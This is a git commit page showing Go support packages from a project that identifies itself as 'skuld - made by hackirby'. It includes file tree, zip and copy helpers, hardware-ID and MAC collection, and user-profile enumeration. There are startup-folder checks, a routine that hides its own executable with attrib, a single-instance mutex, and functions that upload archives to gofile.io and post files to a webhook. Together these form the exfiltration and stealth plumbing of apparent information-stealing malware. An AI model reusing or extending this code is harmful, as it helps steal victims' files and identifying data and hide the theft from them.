initial commit

This commit is contained in:
i2p
2026-08-27 11:00:27 -06:00
commit 719b963520
94 changed files with 4747 additions and 0 deletions
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
+307
View File
@@ -0,0 +1,307 @@
package fileutil
import (
"bufio"
"fmt"
"io"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/alexmullins/zip"
)
func AppendFile(path string, line string) {
file, _ := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0644)
defer file.Close()
file.WriteString(line + "\n")
}
func Tree(path string, prefix string, isFirstDir ...bool) string {
var sb strings.Builder
files, _ := ioutil.ReadDir(path)
for i, file := range files {
isLast := i == len(files)-1
var pointer string
if isLast {
pointer = prefix + "└── "
} else {
pointer = prefix + "├── "
}
if isFirstDir == nil {
pointer = prefix
}
if file.IsDir() {
fmt.Fprintf(&sb, "%s📂 - %s\n", pointer, file.Name())
if isLast {
sb.WriteString(Tree(filepath.Join(path, file.Name()), prefix+" ", false))
} else {
sb.WriteString(Tree(filepath.Join(path, file.Name()), prefix+"│ ", false))
}
} else {
fmt.Fprintf(&sb, "%s📄 - %s (%.2f kb)\n", pointer, file.Name(), float64(file.Size())/1024)
}
}
tree := sb.String()
if len(tree) > 4090 {
tree = "Too many files to display"
}
return tree
}
func Zip(dirPath string, zipName string) error {
zipFile, err := os.Create(zipName)
if err != nil {
return err
}
defer zipFile.Close()
zipWriter := zip.NewWriter(zipFile)
defer zipWriter.Close()
err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if info.IsDir() {
return nil
}
relPath, err := filepath.Rel(dirPath, filePath)
if err != nil {
return err
}
zipEntry, err := zipWriter.Create(relPath)
if err != nil {
return err
}
file, err := os.Open(filePath)
if err != nil {
return err
}
defer file.Close()
_, err = io.Copy(zipEntry, file)
if err != nil {
return err
}
return nil
})
if err != nil {
return err
}
return nil
}
func ZipWithPassword(dirPath string, zipName string, password string) error {
zipFile, err := os.Create(zipName)
if err != nil {
return err
}
defer zipFile.Close()
zipWriter := zip.NewWriter(zipFile)
defer zipWriter.Close()
err = filepath.Walk(dirPath, func(filePath string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if info.IsDir() {
return nil
}
relPath, err := filepath.Rel(dirPath, filePath)
if err != nil {
return err
}
zipEntry, err := zipWriter.Encrypt(relPath, password)
if err != nil {
return err
}
file, err := os.Open(filePath)
if err != nil {
return err
}
defer file.Close()
_, err = io.Copy(zipEntry, file)
if err != nil {
return err
}
return nil
})
if err != nil {
return err
}
return nil
}
func Copy(src, dst string) (err error) {
file, err := os.Stat(src)
if err != nil {
return err
}
if file.IsDir() {
err = CopyDir(src, dst)
} else {
err = CopyFile(src, dst)
}
return
}
func CopyFile(src, dst string) (err error) {
in, err := os.Open(src)
if err != nil {
return
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return
}
defer func() {
if e := out.Close(); e != nil {
err = e
}
}()
_, err = io.Copy(out, in)
if err != nil {
return
}
err = out.Sync()
if err != nil {
return
}
si, err := os.Stat(src)
if err != nil {
return
}
err = os.Chmod(dst, si.Mode())
if err != nil {
return
}
return
}
func CopyDir(src string, dst string) (err error) {
src = filepath.Clean(src)
dst = filepath.Clean(dst)
si, err := os.Stat(src)
if err != nil {
return err
}
if !si.IsDir() {
return fmt.Errorf("source is not a directory")
}
_, err = os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
return
}
if err == nil {
os.RemoveAll(dst)
}
err = os.MkdirAll(dst, si.Mode())
if err != nil {
return
}
entries, err := ioutil.ReadDir(src)
if err != nil {
return
}
for _, entry := range entries {
srcPath := filepath.Join(src, entry.Name())
dstPath := filepath.Join(dst, entry.Name())
if entry.IsDir() {
err = CopyDir(srcPath, dstPath)
if err != nil {
return
}
} else {
if entry.Mode()&os.ModeSymlink != 0 {
continue
}
err = CopyFile(srcPath, dstPath)
if err != nil {
return
}
}
}
return
}
func IsDir(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
}
return fileInfo.IsDir()
}
func Exists(path string) bool {
_, err := os.Stat(path)
return !os.IsNotExist(err)
}
func ReadFile(path string) (string, error) {
bytes, err := os.ReadFile(path)
if err != nil {
return "", err
}
return string(bytes), nil
}
func ReadLines(path string) ([]string, error) {
f, err := os.Open(path)
if err != nil {
return nil, err
}
defer f.Close()
result := make([]string, 0)
buf := bufio.NewReader(f)
for {
line, _, err := buf.ReadLine()
l := string(line)
if err == io.EOF {
break
}
if err != nil {
continue
}
result = append(result, l)
}
return result, nil
}
Binary file not shown.
+72
View File
@@ -0,0 +1,72 @@
package hardware
import (
"bytes"
"fmt"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"github.com/hackirby/skuld/utils/program"
"github.com/shirou/gopsutil/v3/disk"
)
func GetHWID() (string, error) {
cmd := exec.Command("wmic", "csproduct", "get", "UUID")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, err := cmd.Output()
if err != nil {
return "", err
}
return strings.TrimSpace(strings.Split(string(out), "\n")[1]), nil
}
func GetMAC() (string, error) {
interfaces, err := net.Interfaces()
if err != nil {
return "", err
}
for _, i := range interfaces {
if i.Flags&net.FlagUp != 0 && !bytes.Equal(i.HardwareAddr, nil) {
return i.HardwareAddr.String(), nil
}
}
return "", fmt.Errorf("no MAC address found")
}
func GetUsers() []string {
if !program.IsElevated() {
return []string{os.Getenv("USERPROFILE")}
}
var users []string
drives, err := disk.Partitions(false)
if err != nil {
return []string{os.Getenv("USERPROFILE")}
}
for _, drive := range drives {
mountpoint := drive.Mountpoint
files, err := os.ReadDir(fmt.Sprintf("%s//Users", mountpoint))
if err != nil {
continue
}
for _, file := range files {
if !file.IsDir() {
continue
}
users = append(users, filepath.Join(fmt.Sprintf("%s//Users", mountpoint), file.Name()))
}
}
return users
}
+53
View File
@@ -0,0 +1,53 @@
package program
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"syscall"
"golang.org/x/sys/windows"
)
func IsElevated() bool {
ret, _, _ := syscall.NewLazyDLL("shell32.dll").NewProc("IsUserAnAdmin").Call()
return ret != 0
}
func IsInStartupPath() bool {
exePath, err := os.Executable()
if err != nil {
return false
}
exePath = filepath.Dir(exePath)
if exePath == "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" {
return true
}
if exePath == filepath.Join(os.Getenv("APPDATA"), "Microsoft", "Protect") {
return true
}
return false
}
func HideSelf() {
exe, err := os.Executable()
if err != nil {
return
}
cmd := exec.Command("attrib", "+h", "+s", exe)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Run()
}
func IsAlreadyRunning() bool {
const AppID = "3575651c-bb47-448e-a514-22865732bbc"
_, err := windows.CreateMutex(nil, false, syscall.StringToUTF16Ptr(fmt.Sprintf("Global\\%s", AppID)))
return err != nil
}
+196
View File
@@ -0,0 +1,196 @@
package requests
import (
"bytes"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
)
func Get(url string, headers ...map[string]string) ([]byte, error) {
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return nil, err
}
if len(headers) > 0 {
for key, value := range headers[0] {
req.Header.Set(key, value)
}
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
res, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return res, nil
}
func GetIP() string {
res, err := Get("https://api.ipify.org")
if err != nil {
return GetIP()
}
return string(res)
}
func Post(url string, body []byte, headers ...map[string]string) ([]byte, error) {
req, err := http.NewRequest("POST", url, bytes.NewBuffer(body))
if err != nil {
return nil, err
}
if len(headers) > 0 {
for key, value := range headers[0] {
req.Header.Set(key, value)
}
}
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
res, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return res, nil
}
func Upload(file string) (string, error) {
res, err := Get("https://api.gofile.io/getServer")
if err != nil {
return "", err
}
var server struct {
Status string `json:"status"`
Data struct {
Server string `json:"server"`
} `json:"data"`
}
if err := json.Unmarshal(res, &server); err != nil {
return "", err
}
if server.Status != "ok" {
return "", fmt.Errorf("error getting server")
}
var body bytes.Buffer
writer := multipart.NewWriter(&body)
fw, err := writer.CreateFormFile("file", file)
if err != nil {
return "", err
}
fd, err := os.Open(file)
if err != nil {
return "", err
}
defer fd.Close()
_, err = io.Copy(fw, fd)
if err != nil {
return "", err
}
writer.Close()
res, err = Post(fmt.Sprintf("https://%s.gofile.io/uploadFile", server.Data.Server), body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()})
if err != nil {
return "", err
}
var response struct {
Data struct {
DownloadPage string `json:"downloadPage"`
} `json:"data"`
}
if err := json.Unmarshal(res, &response); err != nil {
return "", err
}
if response.Data.DownloadPage == "" {
return "", fmt.Errorf("error uploading file")
}
return response.Data.DownloadPage, nil
}
func Webhook(webhook string, data map[string]interface{}, files ...string) {
var body bytes.Buffer
writer := multipart.NewWriter(&body)
i := 0
if len(files) > 10 {
Webhook(webhook, data)
for _, file := range files {
i++
Webhook(webhook, map[string]interface{}{"content": fmt.Sprintf("Attachment %d: `%s`", i, file)}, file)
}
return
}
for _, file := range files {
openedFile, err := os.Open(file)
if err != nil {
continue
}
defer openedFile.Close()
filePart, err := writer.CreateFormFile(fmt.Sprintf("file[%d]", i), openedFile.Name())
if err != nil {
continue
}
if _, err := io.Copy(filePart, openedFile); err != nil {
continue
}
i++
}
jsonPart, err := writer.CreateFormField("payload_json")
if err != nil {
return
}
data["username"] = "skuld"
data["avatar_url"] = "https://i.ibb.co/GFZ2tHJ/shakabaiano-1674282487.jpg"
if data["embeds"] != nil {
for _, embed := range data["embeds"].([]map[string]interface{}) {
embed["footer"] = map[string]interface{}{
"text": "skuld - made by hackirby",
"icon_url": "https://avatars.githubusercontent.com/u/145487845?v=4",
}
embed["color"] = 0xb143e3
}
}
if err := json.NewEncoder(jsonPart).Encode(data); err != nil {
return
}
if err := writer.Close(); err != nil {
return
}
Post(webhook, body.Bytes(), map[string]string{"Content-Type": writer.FormDataContentType()})
}